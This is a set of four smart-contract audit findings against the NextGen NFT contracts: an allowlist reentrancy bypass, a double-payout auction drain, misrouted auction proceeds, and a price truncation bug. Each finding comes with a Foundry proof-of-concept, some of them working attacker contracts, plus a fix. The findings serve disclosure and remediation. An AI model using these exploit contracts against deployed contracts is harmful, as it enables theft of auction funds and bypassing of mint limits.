NextGen - degensec's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L195 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L196-L254

Vulnerability details

Impact

An allowlisted minter who is a malicious smart contract can re-enter during the ERC721 hook to bypass the maximum allowance during the allowlist minting. This can have negative economic effects for the collection e.g. if the mint is popular, the attacker can mint as many NFTs as they like.

Description

MinterContract provides the functionality to set a special minting period before the public mint, where only allowlisted addresses can mint tokens. The allowlist is implemented as a merkle tree and allowlisted participants must supply a valid merkle proof to be allowed to mint a token. The nodes of the merkle tree are encoded as such: keccak256(abi.encodePacked(user, maxAllowance, tokenData)) - the address of the allowlisted user, a uint256 maxAllowance representing the maximum number of tokens mintable during the allowlist period and tokenData, string data encoded with the token.

The call flow to mint during allowlist is:

• 1. Allowlisted user calls MinterContract.mint, supplying alongside other parameters uint256 _maxAllowance, string _tokenData and bytes32[] calldata merkleProof. Then the node for the user is calculated, the allowance is checked, and the proof for the node is verified (MinterContract.sol#L215-L220):

            ...
            } else {
                node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData));
                require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
                mintingAddress = msg.sender;
            }
            require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');

2. A call to NextGenCore.mint is dispatched (MinterContract.sol#L236)
3. In NextGenCore.mint the mint is processed by _mintProcessing and after that the counter for the number of allowlist minted tokens by the user is increased (NextGenCore.sol#L192-L199)

So in summary, the maxAllowance is checked before the ERC721 mint happens and updated after the ERC721 mint happens.

Proof of Concept

Attack idea

If we can reenter and call MinterContract.mint again in the onERC721Received hook when _safeMint is called, then the number of allowlist minted tokens will not be updated before the second call. This effectively bypasses the maxAllowance.

Foundry PoC

The following Foundry test demonstrates the vulnerability. An Attacker contract is implemented, which calls MinterContract.mint again 4 additional times the onERC721Received hook. The test demonstrates that despite having maxAllowance=1, Attacker can mint as many tokens as they like.

To run the PoC within the contest repo:

1. Install Foundry
2. Initialize a Forge project by running forge init in the root directory of the contest repo.
3. Replace the contents of the generated foundry.toml configuration file with:

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

4. Create a new file at the path test/MintAboveLimitPoC.t.sol and paste the contents of the PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";

contract MintAboveLimitPoC is Test {
    NextGenAdmins admins;
    NextGenCore gencore;
    NextGenMinterContract minter;
    NextGenRandomizerNXT randomizer;

    function setUp() public {
        admins = new NextGenAdmins();
        gencore = new NextGenCore("Collection", "NFT", address(admins));
        minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins));
        randomPool randoms = new randomPool();
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(gencore));

        gencore.addMinterContract(address(minter));
        gencore.addRandomizer(1, address(randomizer));
    }

    function test_BypassAllowance() public {
        gencore.createCollection("", "", "", "", "", "", "", new string[](0));
        uint256 collectionID = 1;

        Attacker attacker = new Attacker(minter);

        // Build merkle tree. Note that allowance is 1.
        bytes32 attackerNode = keccak256(abi.encodePacked(address(attacker), uint256(1), "data"));
        bytes32 siblingNode = keccak256(
            abi.encodePacked(0x2222222222222222222222222222222222222222, uint256(1), "data")
        );
        bytes32 merkleRoot = attackerNode < siblingNode
            ? keccak256(abi.encodePacked(attackerNode, siblingNode))
            : keccak256(abi.encodePacked(siblingNode, attackerNode));

        // The merkle proof for the attacker is just the sibling.
        bytes32[] memory merkleProof = new bytes32[](1);
        merkleProof[0] = siblingNode;

        gencore.setCollectionData(
            collectionID, // uint256 _collectionID,
            address(0x1111), // address _collectionArtistAddress,
            10_000, // uint256 _maxCollectionPurchases,
            10_000, // uint256 _collectionTotalSupply,
            1 days // uint256 _setFinalSupplyTimeAfterMint
        );

        minter.setCollectionCosts(
            collectionID, // uint256 _collectionID,
            1 ether, // uint256 _collectionMintCost,
            1 ether, // uint256 _collectionEndMintCost,
            0, // uint256 _rate,
            0, // uint256 _timePeriod,
            1, // uint8 _salesOption,
            address(0) // address _delAddress
        );

        minter.setCollectionPhases(
            collectionID, // uint256 _collectionID,
            1e6, // uint256 _allowlistStartTime,
            2e6, // uint256 _allowlistEndTime,
            2e6, // uint256 _publicStartTime,
            2e6, // uint256 _publicEndTime,
            merkleRoot // bytes32 _merkleRoot
        );

        vm.warp(1e6 + 1); // In allowlist phase
        attacker.configure(collectionID, 5, 1 ether, "data", merkleProof);
        attacker.mintMany{value: 5 ether}();
        console2.log("Attacker minted %s NFTs", gencore.balanceOf(address(attacker)));
    }
}

contract Attacker {
    address owner;
    NextGenMinterContract minter;
    uint256 collectionID;
    uint256 amountToMint;
    uint256 singlePrice;
    string tokenData;
    bytes32[] merkleProof;

    constructor(NextGenMinterContract _minter) {
        owner = msg.sender;
        minter = _minter;
    }

    function configure(
        uint256 _collectionID,
        uint256 _amountToMint,
        uint256 _singlePrice,
        string memory _tokenData,
        bytes32[] memory _merkleProof
    ) external payable {
        require(msg.sender == owner);
        collectionID = _collectionID;
        amountToMint = _amountToMint;
        singlePrice = _singlePrice;
        tokenData = _tokenData;

        delete merkleProof;
        for (uint256 i = 0; i < _merkleProof.length; ++i) {
            merkleProof.push(_merkleProof[i]);
        }
    }

    function mintMany() external payable {
        require(msg.sender == owner);
        _mintSingle();
    }

    function _mintSingle() private {
        amountToMint--;
        minter.mint{value: singlePrice}(
            collectionID, 1, 1, "data", address(this), merkleProof, address(0), 0
        );
    }

    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        if (amountToMint > 0) {
            _mintSingle();
        }
        return 0x150b7a02;
    }
}

5. Run the PoC with forge test --mc MintAboveLimitPoC -vvv
6. Observe the logs that show that Attacker minted 5 NFTs despite having maxAllowance=1

Logs:
  Attacker minted 5 NFTs

Tools Used

Manual review, Foundry tests

Recommended Mitigation Steps

This bug is present due to a violation in the Check-Effects-Interactions pattern. In particular, the counter for the number of allowlist-minted NFTs should be updated before the ERC721 mint happens.

In NextGenCore.mint change the logic in (NextGenCore.sol#L192-L199) from

        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
        }

to

        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        }

Re-running the PoC after the fix is applied now reverts as expected due to the allowlist limit being hit:

[FAIL. Reason: AL limit] test_BypassAllowance() (gas: 1338142)

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Impact

Detailed description of the impact of this finding.

Proof of Concept

Observe the implementation of cancelBid:

    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Note how a bid can be cancelled when block.timestamp == minter.getAuctionEndTime(_tokenid). After a cancellation the bid's status is set to false so that it cannot be cancelled again and it is not considered when calculating the winner.

Observe the implementation of claimAuction:

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Note how an auction can be claimed when block.timestamp == minter.getAuctionEndTime(_tokenid). Inside the for-loop a bid with status=true is eligible for a refund or claim transfer. But after a bid is processed its status is not set to false.

We can sketch an attack which can be carried out when block.timestamp == minter.getAuctionEndTime(_tokenid). At that timestamp both cancelBid and claimAuction can be called. Consider a particular bid. We first call claimAuction which processes the bid (either sent to owner if it's winning or refunded if it's not). The bid's status is still true. We can then call cancelBid to get a refund for the bid. So this bid will be paid out twice. If there is outstanding balance for another auction, then that auction will be drained for the bid amount.

Foundry PoC

The following concrete attack sequence is implemented in the PoC below:

1. An auction for the ATTACKER begins after MinterContract.mintAndAuction is called by an admin. The ATTACKER's auctionEndTime coincides exactly with the timestamp of an Ethereum block. The likelihood for this is high, see Discussion below.
2. An auction for the VICTIM begins after MinterContract.mintAndAuction is called by an admin. The VICTIM's auction begins while the ATTACKER's auction is still running.
3. For the block where block.timestamp = ATTACKER auctionEndTime the ATTACKER submits the attack sequence using a DRAINER contract:
   • Step 1. Submit the highest bid for the ATTACKER auction by calling participateToAuction.
   • Step 2. Call claimAuction for the ATTACKER auction. This settles the bids and transfers the NFT to DRAINER.
   • Step 3. Call cancelBid. The bid is paid out twice, which reduces the balance available for the VICTIM auction.
   • Step 4. Transfer NFT back to ATTACKER. Transfer drained funds to ATTACKER.

To run the PoC within the contest repo:

1. Install Foundry
2. Initialize a Forge project by running forge init in the root directory of the contest repo.
3. Replace the contents of the generated foundry.toml configuration file with:

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

4. Create a new file at the path test/DrainRunningAuctionPoC.t.sol and paste the contents of the PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {IERC721} from "../smart-contracts/IERC721.sol";

contract DrainRunningAuctionPoC is Test {
    address constant VICTIM = address(0x1111);
    address constant ATTACKER = address(0x2222);
    address constant BIDDER = address(0x3333);

    NextGenAdmins admins;
    NextGenCore gencore;
    NextGenMinterContract minter;
    auctionDemo auction;
    NextGenRandomizerNXT randomizer;

    function setUp() public {
        vm.deal(BIDDER, 1000 ether);

        admins = new NextGenAdmins();
        gencore = new NextGenCore("Collection", "NFT", address(admins));
        minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins));
        randomPool randoms = new randomPool();
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(gencore));

        gencore.addMinterContract(address(minter));
        gencore.addRandomizer(1, address(randomizer));

        auction = new auctionDemo(address(minter), address(gencore), address(admins));

        gencore.createCollection("", "", "", "", "", "", "", new string[](0));
        uint256 collectionID = 1;

        gencore.setCollectionData(collectionID, address(0), 10_000, 10_000, 1 days);
        
        minter.setCollectionCosts(
            collectionID, // uint256 _collectionID,
            1 ether, // uint256 _collectionMintCost,
            1 ether, // uint256 _collectionEndMintCost,
            0, // uint256 _rate,
            1 minutes, // uint256 _timePeriod,
            2, // uint8 _salesOption,
            address(0) // address _delAddress
        );

        minter.setCollectionPhases(
            collectionID, // uint256 _collectionID,
            1e6, // uint256 _allowlistStartTime,
            1e6, // uint256 _allowlistEndTime,
            1e6, // uint256 _publicStartTime,
            2e6, // uint256 _publicEndTime,
            0 // bytes32 _merkleRoot
        );
    }

    function test_Drain() public {
        // ATTACKER mints and auctions NFT.
        vm.warp(1e6);
        uint256 attackerAuctionEndTime = block.timestamp + 1 days;
        minter.mintAndAuction(ATTACKER, "", 0, 1, attackerAuctionEndTime);
        uint256 attackerTokenId = 10000000000;
        vm.prank(ATTACKER);
        gencore.approve(address(auction), attackerTokenId);

        // At the next mint period, VICTIM mints and auctions NFT.
        vm.warp(1e6 + 1 minutes);
        uint256 victimAuctionEndTime = block.timestamp + 1 days;
        minter.mintAndAuction(VICTIM, "", 0, 1, victimAuctionEndTime);
        uint256 victimTokenId = 10000000001;
        vm.prank(VICTIM);
        gencore.approve(address(auction), victimTokenId);

        // VICTIM's auction has 5 ether in bids.
        vm.prank(BIDDER);
        auction.participateToAuction{value: 5 ether}(victimTokenId);

        // ATTACKER observes that there will be a block at exactly the end time of his auction
        // ATTACKER executes the draining attack
        uint256 auctionBalanceBefore = address(auction).balance;

        vm.warp(attackerAuctionEndTime);
        vm.startPrank(ATTACKER);
        vm.deal(ATTACKER, 5 ether);
        Drainer drainer = new Drainer(auction, gencore, attackerTokenId);
        drainer.drain{value: 5 ether}(0);

        uint256 auctionBalanceAfter = address(auction).balance;
        assertEq(auctionBalanceAfter, 0);

        console2.log("Attack: AuctionDemo balance: %s -> %s", auctionBalanceBefore, auctionBalanceAfter);

        uint256 victimOutstandingBid = auction.returnHighestBid(victimTokenId);
        console2.log("Outstanding bids in VICTIM auction=%s", victimOutstandingBid);
    }

    receive() external payable {}
}

contract Drainer {
    address immutable owner;
    auctionDemo immutable auction;
    NextGenCore immutable gencore;
    uint256 immutable tokenId;

    uint256 bidIndex;
    bool hasCancelled;

    constructor(auctionDemo _auction, NextGenCore _gencore, uint256 _tokenId) {
        owner = msg.sender;
        auction = _auction;
        gencore = _gencore;
        tokenId = _tokenId;
    }

    function drain(uint256 nextBidIndex) external payable {
        require(msg.sender == owner);

        // At exactly the end time we can both claim auction and cancel bid!
        auction.participateToAuction{value: msg.value}(tokenId);
        auction.claimAuction(tokenId);
        auction.cancelBid(tokenId, nextBidIndex);

        // Send all proceeds back to owner
        payable(owner).call{value: address(this).balance}("");
    }

    function onERC721Received(address operator, address, uint256 _tokenId, bytes memory)
        external
        returns (bytes4)
    {
        // Return to owner
        gencore.transferFrom(address(this), owner, _tokenId);
        return 0x150b7a02;
    }

    receive() external payable {}
}

5. Run the PoC with forge test --mc DrainRunningAuctionPoC -vvv
6. Observe the logs that show the auction contract is left with 0 balance, while the VICTIM auction is still running and has an outstanding bid.

Logs:
  Attack: AuctionDemo balance: 5000000000000000000 -> 0
  Outstanding bids in VICTIM auction=5000000000000000000

Discussion

How likely is it that there is a block such that block.timestamp == minter.getAuctionEndTime(_tokenid)?

This is likely. Post-Merge block slots are equally spaced at 12-second intervals. Validators cannot modify the block.timestamp the same way miners could pre-Merge. For a random auction duration the proability is 1/12 = 8.33%. However, in practice an auction's duration is likely to be a multiple of a minute, hour, day or week. In all of these cases the end time will coincide with a block.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

In claimAuction change the require condition from block.timestamp >= minter.getAuctionEndTime(_tokenid) to block.timestamp > minter.getAuctionEndTime(_tokenid). This will deny the abiility to make and cancel bids while the auction can be claimed. Additionally, it is prudent to set a bid's status to false after processing it in claimAuction.

Assessed type

Rug-Pull

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L111-L114

Vulnerability details

Impact

In AuctionDemo.claimAuction the winning bid is transferred to the inherited Ownable.owner() instead of the owner of the auctioned token. This means that the user that is auctioning their minted NFT will not receive the proceeds of their auction.

Description

AuctionDemo.sol is an implementation of a highest-bidder auction for NFTs auctioned with MinterContract's built-in mintAndAuction mechanism. After the auction ends the highest bidder or an admin can call claimAuction to get the NFT and settle the bids.

Bug: the winning bid is erroneously sent to owner() which is the contract owner given by the OZ Ownable module. Instead, the winning bid must be sent to the owner of the auctioned token.

Proof of Concept

The following Foundry test demonstrates the vulnerability. After claimAuction is called the winning bid is transferred to the Ownable owner instead of the token owner.

To run the PoC within the contest repo:

1. Install Foundry
2. Initialize a Forge project by running forge init in the root directory of the contest repo.
3. Replace the contents of the generated foundry.toml configuration file with:

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

4. Create a new file at the path test/AuctionProceedsPoC.t.sol and paste the contents of the PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";

contract AuctionProceedsPoC is Test {
    address constant AUCTIONEER = address(0x1111);
    address constant OWNER = address(0x2222);
    address constant BIDDER = address(0xbbbb);

    NextGenAdmins admins;
    NextGenCore gencore;
    NextGenMinterContract minter;
    auctionDemo auction;
    NextGenRandomizerNXT randomizer;

    function setUp() public {
        vm.deal(BIDDER, 1000 ether);

        admins = new NextGenAdmins();
        gencore = new NextGenCore("Collection", "NFT", address(admins));
        minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins));
        randomPool randoms = new randomPool();
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(gencore));

        gencore.addMinterContract(address(minter));
        gencore.addRandomizer(1, address(randomizer));

        auction = new auctionDemo(address(minter), address(gencore), address(admins));

        gencore.createCollection("", "", "", "", "", "", "", new string[](0));
        uint256 collectionID = 1;

        gencore.setCollectionData(collectionID, address(0), 10_000, 10_000, 1 days);
        
        minter.setCollectionCosts(
            collectionID, // uint256 _collectionID,
            1 ether, // uint256 _collectionMintCost,
            1 ether, // uint256 _collectionEndMintCost,
            0, // uint256 _rate,
            60, // uint256 _timePeriod,
            2, // uint8 _salesOption,
            address(0) // address _delAddress
        );

        minter.setCollectionPhases(
            collectionID, // uint256 _collectionID,
            1e6, // uint256 _allowlistStartTime,
            1e6, // uint256 _allowlistEndTime,
            1e6, // uint256 _publicStartTime,
            2e6, // uint256 _publicEndTime,
            0 // bytes32 _merkleRoot
        );
    }

    function test_Proceeds() public {
        // set the owner in Ownable.sol
        auction.transferOwnership(OWNER);

        // AUCTIONEER mints and auctions NFT 
        vm.warp(1e6);
        uint256 auctionEndTime = 1e6 + 1 hours;
        minter.mintAndAuction(AUCTIONEER, "", 0, 1, auctionEndTime);
        uint256 tokenId = 10000000000;
        vm.prank(AUCTIONEER);
        gencore.approve(address(auction), tokenId);

        // BIDDER bids 1 ether
        vm.prank(BIDDER);
        auction.participateToAuction{value: 1 ether}(tokenId);

        uint256 ownerBalanceBefore = OWNER.balance;
        uint256 auctioneerBalanceBefore = AUCTIONEER.balance;

        // BIDDER wins auction with 1 ether bid
        vm.warp(auctionEndTime + 1);
        vm.prank(BIDDER);
        auction.claimAuction(tokenId);

        uint256 ownerReceived = OWNER.balance - ownerBalanceBefore;
        uint256 auctioneerReceived = AUCTIONEER.balance - auctioneerBalanceBefore;

        console2.log("contract owner received %s ether", ownerReceived);
        console2.log("token owner received %s ether", auctioneerReceived);
    }
}

5. Run the PoC with forge test --mc AuctionProceedsPoC -vvv
6. Observe the logs that show the winning bid is transferred to the wrong recipient:

Logs:
  contract owner received 1000000000000000000 ether
  token owner received 0 ether

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Change the recipient of the winning bid to ownerOfToken (see the link to the code block for context).

Before:

            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } ...

After:

            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(ownerOfToken).call{value: highestBid}("");
                emit ClaimAuction(ownerOfToken, _tokenid, success, highestBid);
            } ...

Re-running the PoC demonstrates that the invalid behavior is fixed:

Logs:
  contract owner received 0 ether
  token owner received 1000000000000000000 ether

Assessed type

ETH-Transfer

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L553-L557

Vulnerability details

Impact

For a Linear Descending Sale the price returned by getPrice in the last period where the price descends will incorrectly be the resting price.

Description

MinterContract allows collection creators to set a Sales Model for public mints using setCollectionCosts combined with setCollectionPhases to define the timespan of the public sale. One of the available sales models is the Linear Descending Sale.

Linear Descending Sale At each time period (which can vary), the minting cost decreases linearly until it reaches its resting price (ending minting cost) and stays there until the end of the minting phase.

Borrowing the example from the documentation, if we have a starting price of 4ETH, a resting (end) price of 3ETH and a descending rate of 0.1ETH per period, then the quote price must be:

• 4ETH at period 0
• 3.9ETH at period 1
• ...
• 3.1ETH at period 2
• 3ETH at period >= 10

In the code the Linear Descending Sale strategy is used by calling MinterContract.setCollectionCosts with salesOption=2, non-zero values for _collectionMintCost, _collectionEndMintCost, _rate and _timePeriod. The relevant getPrice logic is (see links for context):

                ...
                if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) {
                    price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate);
                } else {
                    price = collectionPhases[_collectionId].collectionEndMintCost;
                }

The price is decreased for every elapsed period tDiff until the resting price is reached.

The vulnerability stems from the division in the if condition. Take collectionMintCost=1 ether, collectionEndMintCost=0.81 ether and rate=0.1 ether. Then the expression before the > sign evaluates to (1e18 - 0.81e18) / 0.1e18 = 0.19e18 / 0.1e18 = 1 with the .9 truncated. This means that at period 1 (tDiff = 1) the else branch will be hit, returning 0.81 ether as the price whereas the expected price according to the sales model is 0.9 ether.

Proof of Concept

The following Foundry test demonstrates the bug. A linear descending price public sale is set up with startPrice=1 ether, endPrice=0.81 ether, rate=0.1 ether, period=1 minutes. The test prints the return price from getPrice for the first 3 periods. At the second period the actual price is 0.81 ether whereas the expect price according to the model is 0.9 ether.

To run the PoC within the contest repo:

1. Install Foundry
2. Initialize a Forge project by running forge init in the root directory of the contest repo.
3. Replace the contents of the generated foundry.toml configuration file with:

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

4. Create a new file at the path test/IncorrectPricePoC.t.sol and paste the contents of the PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";

contract IncorrectPricePoC is Test {
    uint256 constant collectionID = 1;
    uint256 constant startPrice = 1 ether;
    uint256 constant endPrice = 0.81 ether;
    uint256 constant rate = 0.1 ether;
    uint256 constant period = 1 minutes;

    NextGenAdmins admins;
    NextGenCore gencore;
    NextGenMinterContract minter;

    function setUp() public {
        admins = new NextGenAdmins();
        gencore = new NextGenCore("Collection", "NFT", address(admins));
        minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins));
        gencore.addMinterContract(address(minter));
        gencore.createCollection("", "", "", "", "", "", "", new string[](0));

        gencore.setCollectionData(
            collectionID, // uint256 _collectionID,
            address(0x1111), // address _collectionArtistAddress,
            10_000, // uint256 _maxCollectionPurchases,
            10_000, // uint256 _collectionTotalSupply,
            1 days // uint256 _setFinalSupplyTimeAfterMint
        );

        minter.setCollectionCosts(
            collectionID, // uint256 _collectionID,
            startPrice, // uint256 _collectionMintCost,
            endPrice, // uint256 _collectionEndMintCost,
            rate, // uint256 _rate,
            period, // uint256 _timePeriod,
            2, // uint8 _salesOption,
            address(0) // address _delAddress
        );

        minter.setCollectionPhases(
            collectionID, // uint256 _collectionID,
            1e6, // uint256 _allowlistStartTime,
            1e6, // uint256 _allowlistEndTime,
            1e6, // uint256 _publicStartTime,
            2e6, // uint256 _publicEndTime,
            0 // bytes32 _merkleRoot
        );
    }

    function test_PoC() public {
        _snapshotPrice(0);
        _snapshotPrice(1);
        _snapshotPrice(2);
    }

    function _snapshotPrice(uint256 k) private {
        vm.warp(1e6 + k * period);
        uint256 expectedPrice = startPrice - k * rate;
        if (expectedPrice < endPrice) expectedPrice = endPrice;
        uint256 actualPrice = minter.getPrice(collectionID);
        console2.log("at t=+%smin expectedPrice=%s, actualPrice=%s", k, expectedPrice, actualPrice);
    }
}

5. Run the PoC with forge test --mc IncorrectPricePoC -vvv
6. Inspect the output of the test:

Logs:
  at t=+0min expectedPrice=1000000000000000000, actualPrice=1000000000000000000
  at t=+1min expectedPrice=900000000000000000, actualPrice=810000000000000000
  at t=+2min expectedPrice=810000000000000000, actualPrice=810000000000000000

Tools Used

Manual Review, Foundry testing

Recommended Mitigation Steps

The root cause for the bug is the truncating division in the if clause as discussed above. A common practice to eliminate such issues is to introduce a precision factor when doing arithmetic that contains division.

Introduce a precision factor of 1e27 by changing if clause as such:

                if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) * 1e27 / (collectionPhases[_collectionId].rate)) > tDiff * 1e27) {
                    price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate);
                } else {
                    price = collectionPhases[_collectionId].collectionEndMintCost;
                }

Re-run the PoC and observe that the price is now calculated correctly:

Logs:
  at t=+0min expectedPrice=1000000000000000000, actualPrice=1000000000000000000
  at t=+1min expectedPrice=900000000000000000, actualPrice=900000000000000000
  at t=+2min expectedPrice=810000000000000000, actualPrice=810000000000000000

It is prudent to use the scaling factor in all instances of division in the getPrice code.

Assessed type

Math